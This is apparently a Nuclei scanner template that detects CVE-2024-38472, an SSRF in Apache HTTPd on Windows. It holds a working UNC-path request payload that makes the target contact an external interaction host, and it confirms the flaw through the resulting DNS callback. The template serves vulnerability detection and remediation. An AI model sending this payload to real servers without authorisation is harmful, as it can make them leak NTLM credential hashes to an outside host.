Apache HTTPd Windows UNC - Server-Side Request Forgery

id: CVE-2024-38472

info:
  name: Apache HTTPd Windows UNC - Server-Side Request Forgery
  author: pdteam
  severity: high
  description: |
    SSRF in Apache HTTP Server on Windows allows to potentially leak NTML hashes to a malicious server via SSRF and malicious requests or content Users are recommended to upgrade to version 2.4.60 which fixes this issue.  Note- Existing configurations that access UNC paths will have to configure new directive "UNCList" to allow access during request processing.
  impact: |
    Attackers on Windows-based Apache HTTPd servers can exploit SSRF to potentially leak NTLM hashes to malicious servers, leading to credential theft and potential network compromise.
  remediation: |
    Upgrade to Apache HTTPd version 2.4.60 or later and configure the UNCList directive for UNC path access.
  reference:
    - https://blog.orange.tw/2024/08/confusion-attacks-en.html
    - https://httpd.apache.org/security/vulnerabilities_24.html
    - https://security.netapp.com/advisory/ntap-20240712-0001/
    - https://github.com/nomi-sec/PoC-in-GitHub
    - https://github.com/Abdurahmon3236/CVE-2024-38472
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-38472
    cwe-id: CWE-918
    epss-score: 0.6795
    epss-percentile: 0.99236
  tags: cve,cve2024,apache,ssrf,oast,httpd,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/%5C%5C{{interactsh-url}}/apachehttpd"

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: interactsh_request
        words:
          - "/apachehttpd"
# digest: 4a0a0047304502206ee1c7caa71b6999491ba5fe94a62e2c795eb8a6a072a0c036cd58ce6a763e63022100860a05205b11a3b20f35200e8767e0799a9ba18433611d54af351b82242a82ee:922c64590222798bb761d5b6d8e72950